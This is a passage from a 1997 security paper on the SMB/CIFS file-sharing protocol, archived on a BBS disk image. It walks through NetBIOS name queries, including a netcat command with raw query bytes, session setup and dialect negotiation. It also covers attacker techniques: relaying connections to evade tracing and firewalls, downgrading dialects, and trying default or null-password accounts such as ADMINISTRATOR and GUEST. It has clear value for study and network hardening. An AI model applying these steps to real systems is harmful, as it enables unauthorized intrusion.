home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / Unix-Hacking-Documents / cifs.txt < prev    next >
Text File  |  2003-06-29  |  118KB  |  2,019 lines

  1.  
  2.  
  3.  
  4.         CIFS: Common Insecurities Fail Scrutiny
  5.         =======================================
  6.  
  7.     *Hobbit*, Avian Research, hobbit@avian.org, January 1997
  8.  
  9. Abstract
  10. ========
  11.  
  12. An analysis of TCP/IP NetBIOS file-sharing protocols is presented, and the
  13. steps involved in making a client to server SMB connection described in some
  14. detail.  Emphasis is placed on protocol and administrative vulnerabilities at
  15. various stages and fixes/workarounds for some of them, with the hope that the
  16. reader will better understand attacks and defenses alike.  Several examples
  17. are presented, based upon using programs from the Unix Samba package to probe
  18. a target IP network and survey it for potential problems.
  19.  
  20. Introduction
  21. ============
  22.  
  23. We will explore the Shared Message Block protocol and related issues, at the
  24. network level and higher, in the interest of presenting useful knowledge about
  25. Microsoft networking [loosely aka any of CIFS, NetBEUI/NetBIOS, Lan Manager
  26. compatible] security issues.  Microsoft systems and applications, based on NT
  27. and various flavors of Windows, are forcibly entering homes and offices the
  28. world over and all expecting to speak SMB-based filesharing protocols among
  29. themselves as well as with products from other vendors.  As the network
  30. security community has come to expect from most commercial offerings, these
  31. systems are distributed with poorly configured security settings which are
  32. seldom changed or even reviewed by their new owners before being plugged into
  33. the Internet.  This leaves many of them vulnerable to trivial attacks, and
  34. administrators who *do* try to address the security issues often miss or
  35. misconfigure things, perhaps making their systems less obviously vulnerable
  36. but nonetheless still vulnerable.  A major factor in the difficulty is that
  37. many security practitioners are venturing into new territory here, which
  38. turns out to be riddled with unexpected and undocumented pitfalls.  People
  39. relatively new to the overall networking security field, including many of
  40. those implementing and installing said operating systems, often lack the
  41. experience gained from other OSes and environments and have no idea where to
  42. look for potential problems.
  43.  
  44. No specific audience is targeted here, but administrators with a primarily
  45. Unix and NFS background that are now being asked to also support Windows and
  46. NT environments may benefit the most from this.  A necessarily Unix-centric
  47. viewpoint is taken, since that is where the author's main strengths are, but
  48. more importantly because Unix-based source code for a protocol implementation
  49. is freely available.  Andy Tridgell's Samba package represents an amazing
  50. amount of very solid and still-evolving work, and allows Unix systems to
  51. interoperate with Microsoft and Lan Manager platforms to access files and
  52. other resources over TCP/IP networks.  The examples and discussion herein
  53. refer to the "stable release" version 1.9.15 patchlevel 8 of Samba, with
  54. some minimal modifications geared toward exploring the security aspects
  55. of the protocol.  While not the latest release, it suffices here, and the
  56. documentation that comes with it is highly recommended reading.  The evolving
  57. Internet-draft for the Common Internet File System, or CIFS, is also a key
  58. reference work that expands upon original or "core" SMB and explains most of
  59. what the boys in Redmond hope will become a full Internet standard.  Their own
  60. implementations mostly adhere to the draft, and many other vendors already
  61. support CIFS or some subset thereof.  A few issues specific to NT necessarily
  62. appear, but NT security itself is a whole different bucket of worms and is
  63. mostly outside the scope of this text.
  64.  
  65. So far there seems to be very little hard information available about this,
  66. although I am aware of at least one other ongoing related effort.  Several
  67. megabytes of NT-security archives, random whitepapers, RFCs, the CIFS spec,
  68. the Samba stuff, a few MS knowledge-base articles, strings extracted from
  69. binaries, and packet dumps have been dutifully waded through during the
  70. information-gathering stages of this project, and there are *still* many
  71. missing pieces.  Some compatible platforms were unavailable for testing,
  72. notably OS/2.  While often tedious, at least the way has been generously
  73. littered with occurrences of clapping hand to forehead and muttering "crikey,
  74. what are they *thinking*?!"  The intent is not to compete against other works
  75. in progress, it is rather to aid them in moving forward.
  76.  
  77. This document may be freely copied and quoted in whole or part, provided that
  78. proper attribution is included.  Many of the ideas contained herein are not
  79. new, although it is possible that one or two hitherto unknown problems or
  80. methods have been independently discovered.  The point is to collect the
  81. information into one place and describe a stepwise procedure for evaluating
  82. this type of network environment, in a way that those of us who have hitherto
  83. mostly shunned any dealings with Microsoft and other PC network products can
  84. readily understand.
  85.  
  86. Groundwork: What's out there?
  87. =============================
  88.  
  89. Little needs to be said here.  Given a target network or set of IP addresses,
  90. well-known methods can be used for finding the target hosts -- the procedure
  91. which at least one large contractor refers to as "network contour assessment."
  92. DNS zone dumps in conjunction with tools such as "fping" can quickly locate
  93. active machines.  To specifically locate potential SMB servers, scanning for
  94. TCP port 139 is a fairly safe bet.  In the absence of packet filtering,
  95. connection attempts there either open or get refused so it is unnecessary to
  96. wait around for long timeouts.  If machines respond to pinging or other
  97. connectivity tests but TCP connections to 139 time out, then it is likely that
  98. there is a packet filter in the way protecting against NetBIOS traffic.  A
  99. Unix parallel would be running something like "rpcinfo -p" against a set of
  100. targets to find NFS servers, which may or may not be protected by a filter
  101. blocking traffic to the portmapper at TCP/UDP 111.
  102.  
  103. We will therefore assume having collected a list of potential SMB servers, and
  104. proceed to attack a single target therein.  Note however that information
  105. gleaned from neighboring machines may be useful, just as in the traditional
  106. Unix-based environment.  Remembering various information about a network as a
  107. whole and plugging it back into specific host attacks is a classic approach
  108. amply detailed in numerous papers.
  109.  
  110. Phase 0: Name determination
  111. ===========================
  112.  
  113. To establish an SMB session to a typical target, one must not only have its IP
  114. address but also know its "computer name."  This is an arbitrary name similar
  115. to a DNS hostname assigned by an administrator, unique within an organization
  116. or at least a given LAN, and in many installations the computername and DNS
  117. name are the same for administrative convenience.  Name resolution is by
  118. definition a separate entity from SMB itself, and employs a variety of methods
  119. including static files, DNS, WINS, and local-wire broadcasts.  When a machine
  120. is running NetBIOS over TCP/IP, or "NBT", it attaches its own little name
  121. service to UDP port 137, which makes a continual effort to both locate and
  122. disseminate as much info as it can about services on the local LAN.  One of
  123. its functions is periodically broadcasting its own set of names on to the
  124. local wire, to notify immediate neighbors that it exists and offers services.
  125. IP routers generally do not forward these broadcasts, so passive receivers
  126. outside an immediate subnet will not learn these names or which IP hosts they
  127. belong to.  Fortunately there is usually an easy way to remotely determine the
  128. name, known as a "node status query."  The name service also replies to direct
  129. queries about certain names associated with its own particular host, and if it
  130. is running as a WINS server it can give out even more information.
  131.  
  132. There are two basic query types -- IP address, and node status.  Status query
  133. might be more properly called name query, since sending one should elicit an
  134. answer containing all of a target's NetBIOS names.  Both are remarkably
  135. similar in structure to DNS queries, and are indeed a variant of the DNS
  136. protocol itself.  A NetBIOS address query is for resource record type 32 and a
  137. status query is type 33; both of class IN or 1.  With traditional NetBEUI over
  138. non-IP transports such as with local-LAN IPX, computer names are normally
  139. uppercase, 16 bytes long, and padded with spaces which are illegal characters
  140. in the DNS spec for hostnames.  To get around this in IP environments, NetBIOS
  141. names are mangled into a rather bizarre format.  The official spec for this is
  142. in RFCs 1001 and 1002, but to quickly sum it up: Each ASCII character in a
  143. name is split into 4-bit halves, and each half is added to ascii value 0x41
  144. [uppercase "A"] to form a new byte.  Each original character therefore becomes
  145. two mangled characters in the range A-P, doubling the entire length to 32
  146. bytes.  Thus, the name "FEH" gets padded out with spaces and becomes
  147.  
  148.     ascii string "FEH             "  -- is
  149.     hex 46 45 48 20 20 20 20 20 20 20 20 20 20 20 20 20  -- split into
  150.     hex 4 6 4 5 4 8 2 0 2 0 2 0 2 0 2 0 2 0 ...etc...  -- add to "A" gives
  151.     hex 45 47 45 46 45 49 43 41 43 41 43 41 ...etc...  -- which is
  152.     mangled string "EGEFEICACACACACACACACACACACACACA"
  153.  
  154. The name_mangle() routine in Samba's util.c does this translation.  The
  155. characteristic "...CACACACA" string trailer makes NetBIOS names easily
  156. recognizable when they show up in packet dumps and such.  Of particular
  157. interest is the wildcard name "*", but padded with *nulls* instead of spaces.
  158. This mangles to "CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".  Under most circumstances,
  159. name-service listeners are required to reply to queries for this wildcard name
  160. as well as for their own computernames.  Therefore sending a status query
  161. for this "*" name is very likely to produce a name reply as resource records
  162. containing the target's NetBIOS names, which oddly enough come back in
  163. *non-mangled* format.  Multiple copies of some names usually show up, but they
  164. are subtly different.  In practice the 16th byte of a non-mangled name is a
  165. type byte, which is a different animal from a DNS resource-record type!  When
  166. a NetBIOS machine comes up its "name registration" broadcasts contain multiple
  167. instances of its own name and other strings, but with several different
  168. *NetBIOS* name types that can indicate different services.  Note herein that
  169. mangled names are of length 32 or 0x20, address queries are RR type 32, and
  170. several returned names have *type* 0x20.  Therefore a lot of 0x20s show up in
  171. these DNS-style packets and can make things rather confusing.  There seem to
  172. be many name types, not particularly well documented except maybe in knowledge
  173. bases or resource kits, but the important ones are
  174.  
  175.     0x00    base computernames and workgroups, also in "*" queries
  176.     0x01    master browser, in magic __MSBROWSE__ cookie
  177.     0x03    messaging/alerter service; name of logged-in user
  178.     0x20    resource-sharing "server service" name
  179.     0x1B    domain master-browser name
  180.     0x1C    domain controller name
  181.     0x1E    domain/workgroup master browser election announcement [?]
  182.  
  183. The mangling example above has 0x20 as its type byte, therefore building the
  184. name variant used when connecting to fileservers.  Server and workstation
  185. machines alike can provide various different services, and are thus usually
  186. aware of more than one name/type at once.  In fact most of them return a group
  187. of five or so in a status reply, including the base computer name and whatever
  188. "workgroup" the target is a member of.  Name type 0 should be used with the
  189. special "*" query which is null-padded anyway, or a response is unlikely.  If
  190. NO name of type 0x20 is present in the list, it is unlikely that the machine
  191. in question has been configured to share any of its own resources and attempts
  192. to connect sessions to it will likely fail.  Name type 0x3 in the reply often
  193. reveals the username logged in at the machine's console, and should be
  194. collected as a potential username to try against this or neighboring targets.
  195. The base name may also be the same as a username, since in typical small
  196. office environments the machines are often associated with specific people.
  197. The special name "^A^B__MSBROWSE__^B^A" [last char being control-A, or type 1]
  198. indicates a "master browser" which is a machine that collects info about
  199. neighboring machines -- in particular, their IP addresses.  A master browser
  200. is a fortunate find since we can likely get a "browse list" from that machine
  201. [described later] and then possibly query that same target for all the other
  202. names and addresses it claims to know about.
  203.  
  204. One can do "nbtstat -A {ip-addr}" from a Microsoft platform to direct "*"
  205. queries to a specific IP-aware target and obtain its name list.  In the
  206. absence of a mapping in an LMHOSTS file or some other mechanism, a specific
  207. machine can be found using "nbtstat -a \\NAME" if it is on the local wire.  An
  208. address query is sent to the broadcast address of the connected subnet, and if
  209. a machine responds then a unicast status query is sent to it.  For reasons
  210. unfathomable Microsoft platforms usually send status replies FROM UDP 137 TO
  211. UDP 137, regardless of the UDP source ports of query packets, so the querying
  212. application must locally bind to 137 [requiring root on Unix boxes] to ensure
  213. that replies can be received.  Oddly enough, *address* replies are normally
  214. returned to whatever source port the query was from!  To handle this fine
  215. example of the IP savvy out there in Redmond, a tiny patch is needed for the
  216. "nmblookup" Samba program, which as it comes grabs a high port and is unlikely
  217. to receive status replies.  It will then work similarly to "nbtstat" when run
  218. as root, sending the "*" query if given the "-S \*" argument [quoting "*" to
  219. the shell], and also accepts a *unicast* target IP as the -B argument.
  220. Nmblookup also has an interesting feature that allows setting the hex name
  221. type in a query -- for example, a name of the form "TARGET#1C" forces the name
  222. type to be 0x1C.  A slightly more "raw" equivalent of the generic "*" query,
  223. which sometimes elicits a response containing no names but a response
  224. nonetheless, can be done using netcat to locally bind UDP port 137 and send a
  225. query.  Feed the following input bytes into "nc -v -u -w 3 -p 137 target 137"
  226. and the output through "cat -v":
  227.  
  228.     0x00 # . 1
  229.     0x03 # . 2    # xid
  230.     0x00 # . 3
  231.     0x00 # . 4    # flags
  232.     0x00 # . 5
  233.     0x01 # . 6    # qcnt
  234.     0x00 # . 7
  235.     0x00 # . 8    # rcnt
  236.     0x00 # . 9
  237.     0x00 # . 10    # nscnt
  238.     0x00 # . 11
  239.     0x00 # . 12    # acnt
  240.     0x20 #   13    # namelen
  241.     0x43 # C 14    # mangled "*" ...
  242.     0x4b # K 15
  243.     0x41 # A 16
  244.     0x41 # A 17
  245.     0x41 # A 18
  246.     0x41 # A 19
  247.     0x41 # A 20
  248.     0x41 # A 21
  249.     0x41 # A 22
  250.     0x41 # A 23
  251.     0x41 # A 24
  252.     0x41 # A 25
  253.     0x41 # A 26
  254.     0x41 # A 27
  255.     0x41 # A 28
  256.     0x41 # A 29
  257.     0x41 # A 30
  258.     0x41 # A 31
  259.     0x41 # A 32
  260.     0x41 # A 33
  261.     0x41 # A 34
  262.     0x41 # A 35
  263.     0x41 # A 36
  264.     0x41 # A 37
  265.     0x41 # A 38
  266.     0x41 # A 39
  267.     0x41 # A 40
  268.     0x41 # A 41
  269.     0x41 # A 42
  270.     0x41 # A 43
  271.     0x41 # A 44
  272.     0x41 # A 45    # [embedded type byte]
  273.     0x00 # . 46    # terminator
  274.     0x00 # . 47
  275.     0x21 # ! 48    # querytype NBTSTAT
  276.     0x00 # . 49
  277.     0x01 # . 50    # class IN
  278.  
  279. In rare cases, an additional "scope ID" may be tacked on to mangled names in
  280. the format "EGEFEICACACACACACACACACACACACACA.scope" just like in multipart DNS
  281. names.  A scope does not contain spaces, and therefore can and indeed is sent
  282. unchanged in hostname queries.  Scope names are further discussed later under
  283. "defenses", since they can play a role therein.
  284.  
  285. Firing "*" queries at either selected hosts or the IP subnet's directed
  286. broadcast is another way of probing around for active SMB hosts.  Most routers
  287. do not forward directed-subnet broadcast, but ones that do may get you all the
  288. answers in one or two shots!  In most cases, scanning for TCP port 139 and
  289. following up with unicast UDP status queries is still likely to be faster and
  290. more reliable, especially when a target for some reason won't respond to "*"
  291. queries.  This sometimes happens if the messaging or alerter service is shut
  292. down on the target, which is one recommended security procedure in several
  293. documents.  If you suspect this case, try asking for "WORKGROUP", parts of the
  294. target's DNS name, and other likely strings like variants on the name of the
  295. organization or people within it.  Status-querying explicitly for a machine's
  296. name or workgroup using type 0 should also cause it to respond, and a lack of
  297. any type 0x3 names in the list would confirm that messaging is disabled.
  298. Whether due to packet filters or some other reason, getting *no* reply for
  299. all this effort is still not a reason to give up -- it is UDP after all, and
  300. further name guesses can be plugged in during the next phase.
  301.  
  302. Phase 1: The TCP session
  303. ========================
  304.  
  305. Next we open a TCP connection to port 139 on the target.  There is no longer a
  306. need for any special local ports, so smbclient can run as a normal Unix user.
  307. The "called" target's computername of the appropriate type and the "caller"
  308. client name are name-mangled and plugged into a Session Request block sent to
  309. the server.  The idea here is to sanity-check the name determination step and
  310. ensure that one is conversing with the correct machine -- especially wise in
  311. the inevitable cases of outdated LMHOSTS files or DNS data.  If the target
  312. server's name is right a "positive response" is sent back, and the connection
  313. remains open.  If the wrong server name is passed in, a "negative response" is
  314. sent along with an error code, and the server end of the connection starts a
  315. TCP shutdown by sending a FIN.  Nothing further can be done with the failed
  316. connection; a new one must be opened to try a different servername.  The name
  317. of the connecting client is largely irrelevant and can even be null, although
  318. its name type is generally 0.  However, the name the client supplies is the
  319. name that gets logged during later phases such as user logins.  The client
  320. name may also affect behavior against NT machines which have such settable
  321. parameters as which workstations a given user may log in from.  It appears
  322. that the source IP address is *completely* irrelevant to Microsoft-based
  323. servers, which simply accept the given client name.  This is a first hint
  324. about how much functionality is left up to the client.  A vague Unix parallel
  325. might be faking the client hostname in mount requests to be something in the
  326. target's export list, which usually worked against early NFS implementations.
  327.  
  328. This session request is only the first of many steps taken behind the scenes
  329. by most client commands.  From a command prompt on a Microsoft box one does
  330. "net use \\TARGET\SHARENAME" to begin access to a filesystem, or "net view
  331. \\TARGET" to see a target's list of available services.  Samba's "smbclient"
  332. accepts the same syntax, although the backslashes need to be isolated from
  333. the shell by enclosing in quotes or specifying \\\\TARGET\\RESOURCE.  It also
  334. accepts "-L TARGET" to list the available resources, which in any case is
  335. what we want to do first.  Smbclient by default picks up the caller name
  336. from the hostname of the Unix machine it is running on, but we can specify
  337. "-n fakename" to set it to something arbitrary.
  338.  
  339. An error response is usually one of two: either the passed servername wasn't
  340. correct, or the name was right but no service of the requested name type is
  341. running.  Smbclient translates these errors respectively as "called name not
  342. present" or "not listening on called name."  Usually if server-name/type 0x20
  343. is unreachable, the target is not sharing its resources at all and there isn't
  344. much more we can do with it.  Sessions to server-name/type 0x3 may work to
  345. reach the messaging service and is sometimes a way to check if we got at least
  346. one name right, but short of sending annoying messages to the console user it
  347. is not particularly useful.  Smbclient has a "-M" argument to do message
  348. sending.  The spec provides for a "not listening for CALLING name" error,
  349. implying a potential facility for access restriction by specific client, but
  350. today's implementations don't seem to care.
  351.  
  352. If all UDP name queries above have failed, the same sorts of guessing at the
  353. target's computername can be tried here, one per TCP connection.  If the
  354. connection is relayed via an intermediate machine such as a proxy, the client
  355. must still supply the correct name of the target server.  Microsoft clients
  356. can be faked out with an appropriate LMHOSTS entry with the name of the final
  357. destination but the IP address of the *relayer*.  As long as the final target
  358. sees its own name in the request, it doesn't matter how it got there.  An
  359. example fast way to script up different LMHOSTS names on the fly would be
  360. having "#INCLUDE ramdisk-file-name" in the main LMHOSTS file, to avoid
  361. repeatedly writing to the hard drive just to test a bunch of targets.  The
  362. CIFS spec mentions that the magic target name "*SMBSERVER" is supposed to be
  363. some sort of wildcard, but it is optional and no current Microsoft platforms
  364. seem to accept it to open sessions.  Samba does, simply because by design it
  365. accepts any old pair of names for sessions and more sensibly logs the client's
  366. IP address if appropriately configured.
  367.  
  368. Using a relay host can foil backtracing efforts by someone who notices odd
  369. network activity or log entries and goes to investigate.  A suitable relayer
  370. program can take just about any form, such a simple netcat script, a SOCKS
  371. gateway, or even Microsoft's own "Catapult" proxy package.  The relay would
  372. presumably listen on TCP 139 and forward the connection, but with smbclient
  373. the relay can listen on any other port and we can supply the "-p {portnum}"
  374. argument to reach it.  If a high-port relay is already behind a packet filter
  375. that blocks TCP 139 but allows >1024, not only is the firewall bypassed but
  376. the resulting server connection may look like a completely normal one from a
  377. trusted inside host.
  378.  
  379. Some Linux distributions anticipate being used as Samba servers, and come
  380. with an "nbsession" entry in inetd.conf but no server program to handle the
  381. connection.  These will listen on TCP 139 but immediately close, while
  382. noting an appropriate error in the syslog.
  383.  
  384. A brief digression about SMB
  385. ============================
  386.  
  387. So far none of this has involved any actual Shared Message Block protocol.
  388. The CIFS spec contains a detailed rundown on SMB packet formats.  While SMB
  389. can run over various transports including IP, here we only discuss its usual
  390. interaction via TCP 139.  A 4-byte block length is sent down the TCP stream
  391. followed by the block itself, so the transport handlers then know how much to
  392. read from or write to the network.  SMB is thus independent of how IP-level
  393. packets split up the stream -- it doesn't care, it just keeps reading a
  394. connected socket until it satisfies the length's worth or times out.  SMB
  395. blocks can be up to 65536 bytes long *excluding* the length integer, but in
  396. practice the blocks are usually smaller.  SMB also trusts the TCP reliable
  397. transport layer to segregate different client sessions.  In an alternate mode
  398. that uses UDP 138 the data blocks look almost the same, except that 12 bytes
  399. of unused "filler" are used under UDP to pass various session and sequencing
  400. context info.  Many SMB request types support what is called the "AndX"
  401. mechanism, which provides a way to send several requests at once.  Fields in
  402. these specify how to locate any subsequent SMB requests that were "batched"
  403. into this block.  See the spec for more information.
  404.  
  405. The Samba code builds SMB blocks into buffers using a bunch of hairy macros
  406. with names like "SSVAL" to move short and long integers around and convert
  407. byte-ordering.  [For a fun time, try unsnarling "byteorder.h".]  Since Samba
  408. builds these internal buffers to include the 4-byte block length at offset 0,
  409. any other offsets described here are relative to that.  After the block length
  410. comes the SMB header itself, starting at offset 4 in our reference frame with
  411. 0xFF, 'S', 'M', 'B'.  A one-byte command code and several fixed-length fields
  412. follow, ending the SMB header proper.  The command code indicates the type of
  413. SMB being requested or responded to.  The request / response descriptions in
  414. CIFS exclude the header, and only detail what follows.  After the header is a
  415. length byte and a variable-length bunch of two-byte "parameter words", and
  416. finally any associated buffers which can contain values, strings, file data,
  417. or whatever.  A rough chart of this is given in Appendix C.  The parameter
  418. words begin at offset 37 and are where most of the work gets done; in Samba
  419. they are called "smb_vwvN" where N is a number starting with 0.  The buffers
  420. start at a variable offset depending on how many parameter words preceded;
  421. Samba has a routine called smb_buf() to dig through and find it.  It should be
  422. noted that while the leading length bytes are in network order, all values
  423. inside the SMB blocks must be in "Intel" or little-endian order!  In general
  424. both the block structure *and* what gets placed into it is all rather complex
  425. and confusing, and if it's any reassurance, the comments in earlier versions
  426. of Samba hint that much of it started as total guesswork and verbatim copying
  427. of block sections from packet dumps of sessions between MS boxes.  As more
  428. SMB-savvy contributors came into the Samba development picture, these blind
  429. but somehow functional shots in the dark became better explained and recoded.
  430.  
  431. When working with NT we often encounter something called "unicode", a somewhat
  432. warped international character encoding standard.  Strings are encoded into
  433. sequences of two-byte words, wasting twice the storage space required.  This
  434. causes the string "ABC" to appear as "41 00 42 00 43 00" in hex dumps, and
  435. pops up in registry entries, SMB packets, and many other places.  The lengths
  436. of unicode strings are usually stored elsewhere, such as [but not always] in
  437. an SMB parameter word, and there is sometimes confusion about precisely how
  438. long any string is.  For example, is unicode "ABC" of size 3 or size 6?  If we
  439. include and count a terminating null as required when sending passwords, is it
  440. then of size 4, 7, or perhaps even 8?  To make matters even worse the strings
  441. must in theory be word-aligned in memory, and to force this to be true a
  442. leading null is supposed to be *inserted* ahead of the first character.  The
  443. latest Samba server version contains a small fix for a common case where NT
  444. clients cannot quite decide consistently about the length of a null password
  445. string, and may send it as either 1 or 0.
  446.  
  447. One important part of the header we need to be aware of is two words beginning
  448. at offset 9 -- the response class and error codes, called smb_rcls and
  449. smb_err.  These describe protocol errors in some detail, and there is a fairly
  450. large translation table of the most common errors near the end of client.c.
  451. The two error classes we usually ever see in practice are DOS and SERVER.
  452. There are several different possible class/error response combinations to
  453. describe any one kind of problem, such as failure to authenticate a user, and
  454. which pairs get sent back depends upon what type of platform the target is.
  455. The patch kit below includes a small routine called interpret_error() that
  456. boils an assortment of common errors down into a couple of standard return
  457. codes.  This helps us distinguish between fatal errors, nonfatal errors and
  458. password problems, which figures significantly in a later phase of the attack.
  459. Some of the information here is not documented in CIFS, but can be found by
  460. doing "net helpmsg {smb_err #}" under NT, which seems to have a very complete
  461. set of error message texts available.
  462.  
  463. Phase 2: Dialect negotiation
  464. ============================
  465.  
  466. Assuming an open TCP connection and successful session request, SMB request
  467. blocks may now be sent.  The next step is for client and server to agree on
  468. the "dialect" of SMB protocol they can support.  Over time, SMB has evolved
  469. from earliest "Microsoft networks" core protocol, through two types of Lan
  470. Manager and up to the current variant that NT uses.  Each new dialect adds a
  471. couple of features, to support things like new authentication protocols and
  472. long filenames.  The client sends a list of dialects it supports as [get
  473. this!] a bunch of null-terminated ASCII strings, including entries like
  474.  
  475.     PC NETWORK PROGRAM 1.0
  476.     MICROSOFT NETWORKS 1.03
  477.     LANMAN1.0
  478.     LM1.2X002
  479.     LANMAN2.1
  480.     NT LM 0.12
  481.  
  482. which the server string-compares against dialects it recognizes and picks the
  483. "highest" common protocol level.  There is a big comment in Samba's server.c
  484. just before reply_negprot() describing what most server platforms do with
  485. this.  A response is built and sent back to the client, containing several
  486. important items: a numeric index into the dialect list to indicate which to
  487. use, some security-relevant flags, and an optional 8-byte "encryption key" to
  488. use for authentication.  This "key" is a random challenge nonce that the
  489. server generates and temporarily remembers.  A confusingly named "session
  490. key" is also sent, which is just some sort of unique but mostly unimportant
  491. identifier and *not* the same as the cryptkey.
  492.  
  493. Most SMB servers support backward dialect compatibility, and even if we
  494. support the latest NT we can always lie and exclude some of the later dialects
  495. from the list we send.  Sessions between two NT machines involve more complex
  496. security protocols, so for our attack purposes it is definitely worth our
  497. while to convince a server that we are a dumb old client that can't handle
  498. the fancier stuff.  Microsoft clients can't do this but smbclient can, with a
  499. settable max_protocol variable, and we should therefore plug "-m LANMAN2" into
  500. our command line to force the server to dumb itself down somewhat.  Smbclient
  501. also parses dialects as strings here, not numeric levels.
  502.  
  503. The security mode flags appear in smb_vwv1, and we need to pay attention to
  504. the low two bits thereof.  Smbclient tells us what this "sec mode" is at debug
  505. level 3.  The earlier NetBIOS implementations optionally required a simple
  506. password to connect to a shared filesystem, and had no real concept of *who*
  507. was connecting as long as the correct password was supplied.  Everyone using
  508. such a fileshare must know the single password for it, which is considered
  509. fairly lame from a security standpoint.  This is called "share-level
  510. security", and is used by Windows for Workgroups, Samba if appropriately
  511. configured, and maybe some other Lan Manager platforms.  Later dialects have a
  512. concept of individual user login, and indicate this "user-level security" by
  513. setting the LSB of the security flags.  The next higher bit in the flags
  514. indicates whether the client should use "password encryption" or not.  Thus if
  515. smbclient reports "sec mode 3" as it does when connecting to most NT servers,
  516. both of these bits are set.  Sometimes we see a reference to "server-level
  517. security", but this simply means that authentication data is forwarded to a
  518. Domain Controller machine for validation and does not affect the mode bits.
  519.  
  520. Dialect negotiation must occur on a connection before other SMB types may be
  521. sent.  If dialect negotiation fails for some reason, the server sends a FIN
  522. along with the response and the TCP connection must be closed and reopened.
  523. One way to observe this is to try negotiating the dialect either twice or not
  524. at all on a given connection.  If a server is running in user-level security
  525. and a protocol is negotiated that does not support user login at all, the
  526. server will generally set the user-level bit anyway and wind up refusing to
  527. allow most other SMB transactions on that connection until successful user
  528. authentication is performed.  This happens during the next phase.
  529.  
  530. Phase 3: SMB session setup
  531. ==========================
  532.  
  533. A server running in user-level security generally requires this step before
  534. allowing access to shared resources.  This phase can be skipped entirely
  535. against share-level servers, or used anyway to pass additional info about
  536. buffer sizes and client capabilities.  Normally here is where usernames and
  537. passwords get plugged in and the "attack" really begins.  The official CIFS
  538. name for this phase is SessionSetupAndX, implying once again that additional
  539. SMB requests can and often are batched into this block.  Note carefully that
  540. despite the unfortunately confusing name, this "session setup" is a very
  541. DIFFERENT animal from the RFC1001/1002-style TCP "session setup" done in
  542. phase 0!  In general the different TCP sessions distinguish between client
  543. *machines*, while a "UID" determined during this SMB setup phase distinguishes
  544. an individual *user* on a given client.  This implies that all SMB traffic
  545. between a given client and server pair may pass over a single TCP connection
  546. regardless of originating user, although this is not required behavior by any
  547. means since servers can support several concurrent TCP connections.  It also
  548. implies that multiple SMB setup requests can be sent across the single
  549. connection instance, which is perhaps the key thing that throws it wide open
  550. to various attacks.
  551.  
  552. The contents of this block and the server response vary somewhat depending
  553. on the agreed dialect level and security flags.  The most relevant items in
  554. the request are a username and either a plaintext password or a hash derived
  555. from it.  Other items include maximum buffer sizes, various other client
  556. information such as its domain and running OS [all of which can be faked up],
  557. and perhaps further SMB commands via the AndX mechanism.
  558.  
  559. Microsoft boxes collect a username and password through one or another "logon"
  560. dialog.  Under WFWG, the simplest command-line way to change them on the fly
  561. is "net logon {user}" which sets them up for a subsequent "net use".  NT
  562. requires a login to use the client workstation and saves the username and
  563. password from that as default credentials for subsequent filesharing, but
  564. these can be overridden in its "net" command line with optional /USER and
  565. password arguments.  Smbclient accepts "-U username", and asks for a password
  566. that it will plug in at the appropriate time.  The unmodified version accepts
  567. a password on the command line as an optional argument after the sharename, or
  568. by using the format "-U user%passwd".  In many cases the password must be in
  569. all UPPERCASE, but some servers may accept or even require mixed-case even in
  570. LANMAN-only dialect -- this is a bit of a crap shoot, so try it both ways.
  571. The Samba server has hooks to try a couple of different permutations in an
  572. effort to authenticate oddball clients, with appropriate warnings about
  573. reduced keyspace.
  574.  
  575. Under user-level security a successful login means we are basically "in" as
  576. either the target user or a guest.  The SMB response contains some strings
  577. containing the server's OS and version, and an important SMB header field
  578. called the UID.  This is not quite the same thing as a Unix UID, although for
  579. convenience Samba does use the Unix UID of the authenticating user here.
  580. Microsoft servers construct an internal set of user credentials and rights and
  581. assign the UID as a token that refers to it.  The UID is in theory unique only
  582. within the context of the enclosing TCP connection -- if multiple SMB sessions
  583. are active across one TCP connection the UID distinguishes the separate users
  584. there, and in theory different users on different TCP sockets could wind up
  585. being assigned the same UID.  There is also a process-ID or PID header field
  586. that the *client* initiates, but that seems to hold little relevance except
  587. for some file-locking calls.  Again, regardless of server platform the UID is
  588. merely a reference token and while playing games with UID/GID values may be
  589. effective against NFS servers, trying it here it only produces "invalid UID"
  590. SMB errors or is simply ignored by the server.  The server can optionally set
  591. a flag in the setup response that indicates that a given session is a "guest"
  592. login.  Samba does this and NT does not, but the setting of this bit seems
  593. irrelevant to the rights a given active UID has on the server anyway.
  594.  
  595. There are several possible error responses here, which our interpret_error
  596. routine turns into something we can recognize to mean whether to continue the
  597. attack or give up.  An unknown username and/or password in most cases comes
  598. back as "access denied" unless unknown/null users get mapped to GUEST.  There
  599. are some errors that imply that the supplied credentials were right but there
  600. is some other problem, such as "account disabled" or "cannot log in from the
  601. network."  In such cases further attempts with a given username will probably
  602. be unproductive, but remember that here the TCP connection remains open
  603. regardless of the return status, allowing ample opportunity for retries with
  604. any other username and password.  Protocol errors or transient server problems
  605. can also occur, some of which may imply that a new TCP session is needed.
  606.  
  607. Two important usernames to try right off against Microsoft platforms are
  608. ADMINISTRATOR and GUEST, since these usually exist out of the box and all too
  609. often have null passwords.  If the ADMINISTRATOR login has been renamed to
  610. "something obscure" as recommended in several texts, its new name may show up
  611. somewhere on the target network as a type 0x3 anyway.  As mentioned before,
  612. any other base computernames and type 0x3 messaging names collected from the
  613. target network are all potential usernames.  A machine running the Microsoft
  614. web server may have an account of the form IUSR_{basename} that got quietly
  615. created during setup, and it is said that the SQL server pulls similar stunts.
  616. A null username or one that is unknown to the server is often accepted as a
  617. guest login that allows some limited amount of poking around -- often enough
  618. access to at least read files from the server if not write to them.  Any hint
  619. at an account used for disk backups in an NT environment should be pursued,
  620. since such an account probably has "backup" privileges to read the entire
  621. filesystem including the normally inaccessible SAM security database.  If the
  622. server is running Samba itself, a null username and password may grant guest
  623. access.  Try some Unix accounts that have known or null passwords -- Samba by
  624. default disallows logins by accounts with null passwords, but for any
  625. allowable ones does not check for a valid user shell like other daemons do.
  626. Try likely null ones anyway since some sites may be configured to allow them.
  627. An exception to the null-password rule is Samba's default "pcguest" account in
  628. smb.conf, which many sites remap to "nobody" or something rather than create a
  629. new /etc/passwd entry.
  630.  
  631. If the client supports password encryption, it uses the user's password as
  632. input to one or both of two possible encryption algorithms referred to as the
  633. LANMAN method and the NT method.  These algorithms are described in CIFS in
  634. excruciating detail, and reviewed in Appendix A here.  By deliberately dumbing
